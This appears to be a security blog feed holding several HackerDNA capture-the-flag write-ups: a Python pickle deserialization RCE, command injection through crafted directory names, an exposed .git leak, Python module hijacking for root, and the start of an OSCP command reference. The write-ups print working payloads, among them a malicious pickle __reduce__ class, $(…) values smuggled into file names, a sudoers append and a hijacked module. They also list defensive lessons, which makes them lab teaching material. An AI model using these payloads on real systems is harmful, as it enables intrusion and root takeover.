<p>Create a malicious pickle that runs a command via <code class="language-plaintext highlighter-rouge">subprocess.check_output</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">subprocess</span>

<span class="k">class</span> <span class="nc">RCE</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="p">(</span><span class="n">subprocess</span><span class="p">.</span><span class="n">check_output</span><span class="p">,</span> <span class="p">([</span><span class="s">'sh'</span><span class="p">,</span> <span class="s">'-c'</span><span class="p">,</span> <span class="s">'&lt;command&gt;'</span><span class="p">],))</span>

<span class="n">payload</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">RCE</span><span class="p">())</span>
</code></pre></div></div>

<p>Upload it to execute commands:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://TARGET/upload <span class="nt">-F</span> <span class="s2">"file=@exploit.pkl"</span>
</code></pre></div></div>

<p>The response includes the command output in the <code class="language-plaintext highlighter-rouge">config</code> field.</p>

<h2 id="user-flag">User Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /home/vault/flag-user.txt
</code></pre></div></div>

<p><strong>User Flag:</strong> <code class="language-plaintext highlighter-rouge">790f26f3-e670-4ea2-b46d-5ad546da0b51</code></p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>The <code class="language-plaintext highlighter-rouge">vault</code> user can run a script as root without a password:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User vault may run the following commands:
    (root) NOPASSWD: /opt/vault/backup-util
</code></pre></div></div>

<p>The script is a simple bash wrapper around <code class="language-plaintext highlighter-rouge">cat</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nb">cat</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
</code></pre></div></div>

<p>It can read any file as root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> /opt/vault/backup-util /root/flag-root.txt
</code></pre></div></div>

<h2 id="root-flag">Root Flag</h2>

<p><strong>Root Flag:</strong> <code class="language-plaintext highlighter-rouge">24ad4f06-90ad-41a2-9741-fedfc20f6dc3</code></p>

<h2 id="how-the-attack-works">How the Attack Works</h2>

<p>Python’s <code class="language-plaintext highlighter-rouge">pickle</code> is not a serialization format for untrusted data — it is a <strong>remote code execution primitive</strong>. A pickle file is a stack-based bytecode program that the <code class="language-plaintext highlighter-rouge">Unpickler</code> executes instruction-by-instruction during deserialization. When a class implements <code class="language-plaintext highlighter-rouge">__reduce__</code>, unpickling calls the returned callable with the returned arguments. In our payload, <code class="language-plaintext highlighter-rouge">__reduce__</code> returns <code class="language-plaintext highlighter-rouge">(subprocess.check_output, [...])</code>, so <code class="language-plaintext highlighter-rouge">pickle.loads()</code> executes <code class="language-plaintext highlighter-rouge">subprocess.check_output</code> on the victim’s behalf. The Flask app treated the upload as a “configuration restore” and trusted the bytes without any signature or allowlist, which turned a feature into a shell.</p>

<p>The privilege escalation chain is equally instructive. <code class="language-plaintext highlighter-rouge">backup-util</code> is a root-owned script that passes the user-supplied filename straight to <code class="language-plaintext highlighter-rouge">cat</code> with no validation, so <code class="language-plaintext highlighter-rouge">sudo</code> gives root a file read for any path. <code class="language-plaintext highlighter-rouge">sudo -l</code> showed <code class="language-plaintext highlighter-rouge">(root) NOPASSWD: /opt/vault/backup-util</code> — and the script happened to be designed to read whatever path it was given.</p>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li><strong>Never unpickle untrusted data.</strong> If an application must receive serialized objects, use a safe, explicit format like JSON and validate the schema before processing. If pickle is unavoidable, restrict it to authenticated, signed payloads.</li>
  <li><strong>Validate arguments in privileged scripts.</strong> A “backup utility” that blindly <code class="language-plaintext highlighter-rouge">cat</code>s an arbitrary path is a root file-read primitive. Restrict arguments to an allowlist (for example, only filenames inside the backup directory).</li>
  <li><strong>Audit <code class="language-plaintext highlighter-rouge">sudo -l</code> entitlements.</strong> <code class="language-plaintext highlighter-rouge">NOPASSWD</code> entries reduce friction but also reduce the barrier for an attacker who already has a low-privilege foothold. Grant the minimum command set needed.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="hackerdna" /><category term="web" /><category term="ctf" /><category term="hackerdna" /><category term="pickle" /><category term="deserialization" /><category term="rce" /><category term="flask" /><category term="sudo" /><category term="privesc" /><summary type="html"><![CDATA[CTF writeup exploiting Python pickle deserialization vulnerability in a Flask app to achieve RCE, then escalating privileges via a sudo-allowed backup script.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">AlVault HackerDNA CTF - Command Injection &amp;amp; Hidden Endpoints</title><link href="https://zishanhack.com/blog/hackerdna/alvault/" rel="alternate" type="text/html" title="AlVault HackerDNA CTF - Command Injection &amp;amp; Hidden Endpoints" /><published>2026-07-27T00:00:00+05:30</published><updated>2026-07-27T00:00:00+05:30</updated><id>https://zishanhack.com/blog/hackerdna/alvault</id><content type="html" xml:base="https://zishanhack.com/blog/hackerdna/alvault/"><![CDATA[<h2 id="alvault---medium-ctf-writeup">AlVault - Medium CTF Writeup</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Category:</strong> WEB</td>
      <td><strong>Difficulty:</strong> Medium</td>
      <td><strong>Flags:</strong> 2 (User + Root)</td>
    </tr>
  </tbody>
</table>

<p>Challenge: <a href="https://hackerdna.com">https://hackerdna.com</a></p>

<h2 id="contents">Contents</h2>

<ul>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#enumeration">Enumeration</a></li>
  <li><a href="#exploitation">Exploitation</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
  <li><a href="#lessons-learned">Lessons Learned</a></li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<p>Only two ports open:</p>

<ul>
  <li><strong>22</strong> - SSH (OpenSSH 9.9)</li>
  <li><strong>80</strong> - HTTP (nginx, PHP 8.3.18)</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">robots.txt</code> reveals three blocked paths:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-agent: *
Disallow: /dev/
Disallow: /backup/
Disallow: /admin/
</code></pre></div></div>

<h2 id="enumeration">Enumeration</h2>

<table>
  <thead>
    <tr>
      <th>Path</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/dev/notes.txt</code></td>
      <td>Dev notes from john (DevOps Team)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/dev/search.php</code></td>
      <td>“Ultimate File Finder” — static HTML, always returns “TRY HARDER!”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/dev/upload.php</code></td>
      <td>File upload — always says success, files saved to <code class="language-plaintext highlighter-rouge">/tmp/uploads121212112121212/</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/dev/file_search.php</code></td>
      <td><strong>Hidden grep-based file search tool</strong> (NOT listed in robots.txt)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/dev/old_search.php</code></td>
      <td>Disabled old implementation — hardcoded “File not found.”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/backup/</code></td>
      <td>403 Forbidden</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/admin/</code></td>
      <td>HTTP Basic Auth (401)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/.htpasswd</code></td>
      <td><code class="language-plaintext highlighter-rouge">admin:$apr1$salt1234$iHNzr3eR9mQrHG1ICLUaX/</code></td>
    </tr>
  </tbody>
</table>

<p><strong>Key finding:</strong> robots.txt blocks <code class="language-plaintext highlighter-rouge">/dev/</code> but only lists <code class="language-plaintext highlighter-rouge">search.php</code>, <code class="language-plaintext highlighter-rouge">upload.php</code>, and <code class="language-plaintext highlighter-rouge">old_search.php</code>. The real vulnerability lives in <strong><code class="language-plaintext highlighter-rouge">/dev/file_search.php</code></strong> — discovered via directory brute-forcing (e.g., gobuster with a filename wordlist).</p>

<h2 id="exploitation">Exploitation</h2>

<h3 id="step-1---credential-extraction-via-file_searchphp">Step 1 - Credential Extraction via file_search.php</h3>

<p>The <code class="language-plaintext highlighter-rouge">file_search.php</code> endpoint takes a <code class="language-plaintext highlighter-rouge">pattern</code> POST parameter and runs a grep search across files in <code class="language-plaintext highlighter-rouge">/var/www/html/backup/</code>. Searching with <code class="language-plaintext highlighter-rouge">.*</code> dumps all file contents:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://TARGET/dev/file_search.php <span class="nt">--data-urlencode</span> <span class="s1">'pattern=.*'</span>
</code></pre></div></div>

<p>This reveals <code class="language-plaintext highlighter-rouge">/var/www/html/backup/credentials.txt</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>### INTERNAL USE ONLY - DO NOT SHARE ###
Last backup from prod server - 2024-01-15

Database:
Host: prod-db-master.internal
Port: 5432
Database: customer_portal
User: app_user
Pass: DbP@ss2024Prod!

Application Servers:
SSH User: developer
SSH Pass: C0d3R_2023!

Redis Cache:
Host: prod-redis-01.internal
Port: 6379
Auth: RedisAuth2024#

AWS Access Keys:
Access Key ID: AKIA4EXAMPLE123456789
Secret Key: a1b2c3d4e5f6g7h8i9j0/k1l2m3n4o5p6
</code></pre></div></div>

<h3 id="step-2---ssh-access">Step 2 - SSH Access</h3>

<p>SSH in with the discovered credentials:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sshpass <span class="nt">-p</span> <span class="s1">'C0d3R_2023!'</span> ssh developer@TARGET
<span class="nb">cat</span> ~/flag-user.txt
<span class="c"># bad6320b-fd56-4680-5a94-f8ac1e034418</span>
</code></pre></div></div>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>The developer user has passwordless sudo for one command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="c"># (ALL) NOPASSWD: /usr/bin/python3 /opt/backup.py</span>
</code></pre></div></div>

<p>The backup script <code class="language-plaintext highlighter-rouge">/opt/backup.py</code> has a command injection vulnerability:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">RESTRICTED_DIRS</span> <span class="o">=</span> <span class="p">[</span><span class="s">"/"</span><span class="p">,</span> <span class="s">"/root"</span><span class="p">,</span> <span class="s">"/etc"</span><span class="p">,</span> <span class="s">"/bin"</span><span class="p">,</span> <span class="s">"/sbin"</span><span class="p">,</span> <span class="s">"/usr"</span><span class="p">,</span>
                   <span class="s">"/var"</span><span class="p">,</span> <span class="s">"/lib"</span><span class="p">,</span> <span class="s">"/lib64"</span><span class="p">,</span> <span class="s">"/dev"</span><span class="p">,</span> <span class="s">"/proc"</span><span class="p">,</span> <span class="s">"/sys"</span><span class="p">,</span>
                   <span class="s">"/run"</span><span class="p">,</span> <span class="s">"/boot"</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">backup_files</span><span class="p">(</span><span class="n">directory</span><span class="p">):</span>
    <span class="n">directory</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">directory</span> <span class="ow">in</span> <span class="n">RESTRICTED_DIRS</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error: Backup of </span><span class="si">{</span><span class="n">directory</span><span class="si">}</span><span class="s"> is not allowed."</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">isdir</span><span class="p">(</span><span class="n">directory</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error: </span><span class="si">{</span><span class="n">directory</span><span class="si">}</span><span class="s"> is not a valid directory."</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="n">backup_path</span> <span class="o">=</span> <span class="s">"/tmp/backup.tar.gz"</span>
    <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="sa">f</span><span class="s">"tar -czf </span><span class="si">{</span><span class="n">backup_path</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">directory</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Backup of </span><span class="si">{</span><span class="n">directory</span><span class="si">}</span><span class="s"> created at </span><span class="si">{</span><span class="n">backup_path</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="n">directory</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter directory to backup: "</span><span class="p">)</span>
        <span class="n">backup_files</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">backup_files</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</code></pre></div></div>

<p><strong>The bug:</strong> <code class="language-plaintext highlighter-rouge">os.system()</code> passes user input directly to a shell. The restricted directory check is exact-match only, and <code class="language-plaintext highlighter-rouge">os.path.abspath()</code> does NOT sanitize shell metacharacters.</p>

<h3 id="step-3---read-root-flag">Step 3 - Read Root Flag</h3>

<p>Create a directory whose literal name contains <code class="language-plaintext highlighter-rouge">$(...)</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> <span class="s1">'/tmp/x$(cat /root/flag-root.txt &gt; /tmp/rf.txt)'</span>
</code></pre></div></div>

<p>Trigger backup as root via the injection:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'/tmp/x$(cat /root/flag-root.txt &gt; /tmp/rf.txt)'</span> | <span class="nb">sudo</span> /usr/bin/python3 /opt/backup.py
</code></pre></div></div>

<p>The shell command executed as root was:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tar</span> <span class="nt">-czf</span> /tmp/backup.tar.gz /tmp/x<span class="si">$(</span><span class="nb">cat</span> /root/flag-root.txt <span class="o">&gt;</span> /tmp/rf.txt<span class="si">)</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">$(...)</code> was evaluated <strong>before</strong> tar ran, writing the root flag to <code class="language-plaintext highlighter-rouge">/tmp/rf.txt</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/rf.txt
<span class="c"># b1d5ffb1-3a67-498b-3ba8-fa463d5eb32a</span>
</code></pre></div></div>

<h3 id="step-4---full-root-shell">Step 4 - Full Root Shell</h3>

<p>Inject a sudoers entry via the same technique:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> <span class="s1">'/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" &gt;&gt; /etc/sudoers)'</span>
<span class="nb">echo</span> <span class="s1">'/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" &gt;&gt; /etc/sudoers)'</span> | <span class="nb">sudo</span> /usr/bin/python3 /opt/backup.py
</code></pre></div></div>

<p>Spawn a root shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> /bin/bash <span class="nt">-p</span>
<span class="c"># uid=0(root) gid=0(root) groups=0(root)</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Why not SUID?</strong> Setting <code class="language-plaintext highlighter-rouge">chmod u+s /bin/bash</code> via the same injection sets the bit, but the container’s seccomp filter (level 2) blocks the <code class="language-plaintext highlighter-rouge">setuid()</code> syscall at exec time. <code class="language-plaintext highlighter-rouge">/bin/bash -p</code> then runs as the original user. The sudoers injection method is more reliable — it grants NOPASSWD sudo access legitimately.</p>
</blockquote>

<h2 id="lessons-learned">Lessons Learned</h2>

<ol>
  <li><strong>Hidden endpoints</strong> — robots.txt is not exhaustive. Always directory-brute-force to find unlisted files.</li>
  <li><strong>Information disclosure</strong> — Sensitive credentials stored in a web-accessible backup file.</li>
  <li><strong>Command injection via <code class="language-plaintext highlighter-rouge">os.system()</code></strong> — Never pass user input to shell commands unsanitized. Use <code class="language-plaintext highlighter-rouge">subprocess.run()</code> with argument lists instead.</li>
  <li><strong>Insufficient input validation</strong> — The restricted directory check uses exact-match comparison, trivially bypassed.</li>
  <li><strong>Overly broad sudo permissions</strong> — Running a script that accepts arbitrary directory input as root is inherently dangerous.</li>
  <li><strong>SUID in containers</strong> — seccomp filters can silently block setuid syscalls. Abuse of existing sudo configurations is more reliable.</li>
</ol>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="hackerdna" /><category term="web" /><category term="ctf" /><category term="hackerdna" /><category term="command-injection" /><category term="privesc" /><category term="os-system" /><category term="backup" /><category term="php" /><summary type="html"><![CDATA[AlVault CTF writeup — exploiting a hidden grep-based search tool to extract SSH credentials, then privesc via os.system() command injection.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Traversed HackerDNA CTF - Git Exposed &amp;amp; Module Hijacking</title><link href="https://zishanhack.com/blog/hackerdna/traversed/" rel="alternate" type="text/html" title="Traversed HackerDNA CTF - Git Exposed &amp;amp; Module Hijacking" /><published>2026-07-27T00:00:00+05:30</published><updated>2026-07-27T00:00:00+05:30</updated><id>https://zishanhack.com/blog/hackerdna/traversed</id><content type="html" xml:base="https://zishanhack.com/blog/hackerdna/traversed/"><![CDATA[<h2 id="traversed---ctf-writeup">Traversed - CTF Writeup</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Category:</strong> WEB</td>
      <td><strong>Flags:</strong> 2 (User + Root)</td>
    </tr>
  </tbody>
</table>

<p>Challenge: <a href="https://hackerdna.com">https://hackerdna.com</a></p>

<h2 id="contents">Contents</h2>

<ul>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#exploitation">Exploitation</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<p>Nmap scan reveals two open ports:</p>

<ul>
  <li><strong>22</strong> - SSH (OpenSSH 9.7)</li>
  <li><strong>80</strong> - HTTP (nginx 1.27.1)</li>
</ul>

<p>The web page is a generic “under construction” site. No <code class="language-plaintext highlighter-rouge">robots.txt</code>. Running ffuf or gobuster to discover hidden files:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffuf <span class="nt">-u</span> http://TARGET/FUZZ <span class="nt">-w</span> /opt/wordlists/SecLists/Discovery/Web-Content/common.txt <span class="nt">-mc</span> 200,301,302,403 <span class="nt">-fs</span> 533
</code></pre></div></div>

<p>This reveals a <code class="language-plaintext highlighter-rouge">.git</code> directory exposed on the web server:</p>

<table>
  <thead>
    <tr>
      <th>Path</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/.git/HEAD</code></td>
      <td><code class="language-plaintext highlighter-rouge">ref: refs/heads/master</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/.git/config</code></td>
      <td>Repo config (author: Test)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/.git/index</code></td>
      <td>Git index (2 tracked files)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/.git/logs/HEAD</code></td>
      <td>Full commit history</td>
    </tr>
  </tbody>
</table>

<h2 id="exploitation">Exploitation</h2>

<h3 id="step-1---recover-git-history">Step 1 - Recover Git History</h3>

<p>The git log reveals that credentials were committed and then removed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://TARGET/.git/logs/HEAD
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>73e8c07 Added index.php
eba1551 Added credentials for the server maintanance
94ad98f redacted the password for security
da5d3b7 removed credentials file for safety
3087615 Modified source code for index.php
</code></pre></div></div>

<p>Use <code class="language-plaintext highlighter-rouge">git-dumper</code> to reconstruct the full repo locally:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git-dumper http://TARGET/.git/ /tmp/repo
<span class="nb">cd</span> /tmp/repo
git log <span class="nt">--all</span> <span class="nt">--oneline</span>
</code></pre></div></div>

<h3 id="step-2---extract-credentials">Step 2 - Extract Credentials</h3>

<p>Recover the credentials file from the commit where it was added:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git show eba1551:credentials.txt
<span class="c"># hackerdna:Password@1</span>
</code></pre></div></div>

<h3 id="step-3---ssh-access">Step 3 - SSH Access</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sshpass <span class="nt">-p</span> <span class="s1">'Password@1'</span> ssh hackerdna@TARGET
<span class="nb">cat</span> /home/flag-user.txt
<span class="c"># 834f5827-e0fb-4d9b-b1d0-687dbea16a1f</span>
</code></pre></div></div>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<h3 id="sudo-enumeration">Sudo Enumeration</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="c"># (root) NOPASSWD: /usr/bin/python3 /home/hackerdna/test.py</span>
</code></pre></div></div>

<p>The allowed script <code class="language-plaintext highlighter-rouge">test.py</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">webbrowser</span>
<span class="n">webbrowser</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"https://google.com"</span><span class="p">)</span>
</code></pre></div></div>

<p>The file is owned by root and not writable, but the <strong>directory is writable</strong> by the user. Python’s <code class="language-plaintext highlighter-rouge">import</code> statement searches the script’s directory first, so we can hijack the <code class="language-plaintext highlighter-rouge">webbrowser</code> module.</p>

<h3 id="module-hijacking">Module Hijacking</h3>

<p>Create a malicious <code class="language-plaintext highlighter-rouge">webbrowser.py</code> in the same directory:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /home/hackerdna/webbrowser.py <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
import os
def open(url):
    os.system("cat /root/flag-root.txt &gt; /home/hackerdna/root_flag.txt")
</span><span class="no">EOF
</span></code></pre></div></div>

<p>Run the script as root — it imports our fake module instead of the real one:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> /usr/bin/python3 /home/hackerdna/test.py
<span class="nb">cat</span> /home/hackerdna/root_flag.txt
<span class="c"># fce6a3ab-8bce-4f4d-9983-95025be84ad9</span>
</code></pre></div></div>

<p><strong>Root Flag:</strong> <code class="language-plaintext highlighter-rouge">fce6a3ab-8bce-4f4d-9983-95025be84ad9</code></p>

<h2 id="how-the-attack-works">How the Attack Works</h2>

<p>A publicly reachable <code class="language-plaintext highlighter-rouge">.git</code> directory leaks the entire development history of a web application. Because Git stores every commit, “removing” a file from the working tree does not remove it from the repository — the commit <code class="language-plaintext highlighter-rouge">eba1551</code> that added <code class="language-plaintext highlighter-rouge">credentials.txt</code> still exists in the object database, and the commit <code class="language-plaintext highlighter-rouge">94ad98f</code> that “redacted the password for security” only deleted it from a later snapshot. Tools like <code class="language-plaintext highlighter-rouge">git-dumper</code> reconstruct the full repo over HTTP, after which <code class="language-plaintext highlighter-rouge">git log</code> and <code class="language-plaintext highlighter-rouge">git show &lt;commit&gt;:&lt;file&gt;</code> recover any secret that was ever committed.</p>

<p>The privilege escalation abuses <strong>Python’s module search order</strong>. When <code class="language-plaintext highlighter-rouge">sudo /usr/bin/python3 /home/hackerdna/test.py</code> runs, the interpreter adds the directory of the script (<code class="language-plaintext highlighter-rouge">/home/hackerdna</code>) to the front of <code class="language-plaintext highlighter-rouge">sys.path</code>. The script does <code class="language-plaintext highlighter-rouge">import webbrowser</code>, and because the user can write files in that directory, placing a malicious <code class="language-plaintext highlighter-rouge">webbrowser.py</code> there shadows the real standard-library module. Sudo then executes the import as root, running our code at the highest privilege level.</p>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">.git</code> exposure is full source disclosure.</strong> Block directory listings and access to dot-prefixed paths in your web server config, and use tooling that flags exposed <code class="language-plaintext highlighter-rouge">.git</code>/<code class="language-plaintext highlighter-rouge">.svn</code>/<code class="language-plaintext highlighter-rouge">.hg</code> during recon.</li>
  <li><strong>Deleting a committed secret does not erase it.</strong> Any credential that touches a Git history is compromised. Rotate it and rewrite history with <code class="language-plaintext highlighter-rouge">git filter-repo</code> if it was ever pushed.</li>
  <li><strong>Writable script directories + sudo are a module-hijacking risk.</strong> Do not grant <code class="language-plaintext highlighter-rouge">sudo</code> to interpreters running scripts from directories a user can write to. <code class="language-plaintext highlighter-rouge">sys.path</code> injection is a documented, reliable root primitive.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">sudo -l</code> is the first step of every escalation.</strong> Always enumerate exactly which binaries and scripts can be run as root before looking for kernel exploits.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="hackerdna" /><category term="web" /><category term="ctf" /><category term="hackerdna" /><category term="git-exposed" /><category term="python" /><category term="module-hijacking" /><category term="sudo" /><category term="privesc" /><summary type="html"><![CDATA[CTF writeup exploiting an exposed .git directory to recover leaked SSH credentials, then privesc via Python module hijacking with sudo.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">OSCP Commands – Obsidian Notes for Real Exam Execution</title><link href="https://zishanhack.com/blog/research/oscp-commands-obsidian/" rel="alternate" type="text/html" title="OSCP Commands – Obsidian Notes for Real Exam Execution" /><published>2025-12-24T00:00:00+05:30</published><updated>2025-12-24T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/oscp-commands-obsidian</id><content type="html" xml:base="https://zishanhack.com/blog/research/oscp-commands-obsidian/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-certificate"></i> OSCP · COMMAND REFERENCE
  </span>
</div>

<h2 id="oscp-commands">OSCP Commands</h2>
<h3 id="a-clean-structured-obsidian-vault-built-for-the-oscp-exam">A Clean, Structured Obsidian Vault Built for the OSCP Exam</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    OSCP is not about knowing <em>what tool exists</em>.<br />
    It's about <strong>recalling the right command instantly</strong>, under pressure, without panic.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  No scrolling. No guessing. No broken cheatsheets.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Enumeration</strong> – FTP, SSH, SMB, HTTP, DNS, LDAP, RDP</li>
  <li><strong>Privilege Escalation</strong> – Linux &amp; Windows checks, decision trees</li>
  <li><strong>Web Exploitation</strong> – SQLi, file upload, LFI/RFI, bypass techniques</li>
  <li><strong>Active Directory</strong> – Domain enum, credential abuse, lateral movement</li>
  <li><strong>Post-Exploitation</strong> – Cred dumping, persistence, evidence collection</li>
</ul>

<h2 id="-why-obsidian">⚡ Why Obsidian</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-link" style="color: var(--primary);"></i> Internal links between techniques</div>
  <div><i class="fas fa-search" style="color: var(--primary);"></i> Instant search across commands</div>
  <div><i class="fas fa-brain" style="color: var(--primary);"></i> Knowledge graph for connections</div>
  <div><i class="fas fa-pen" style="color: var(--primary);"></i> Easy to extend with your notes</div>
</div>

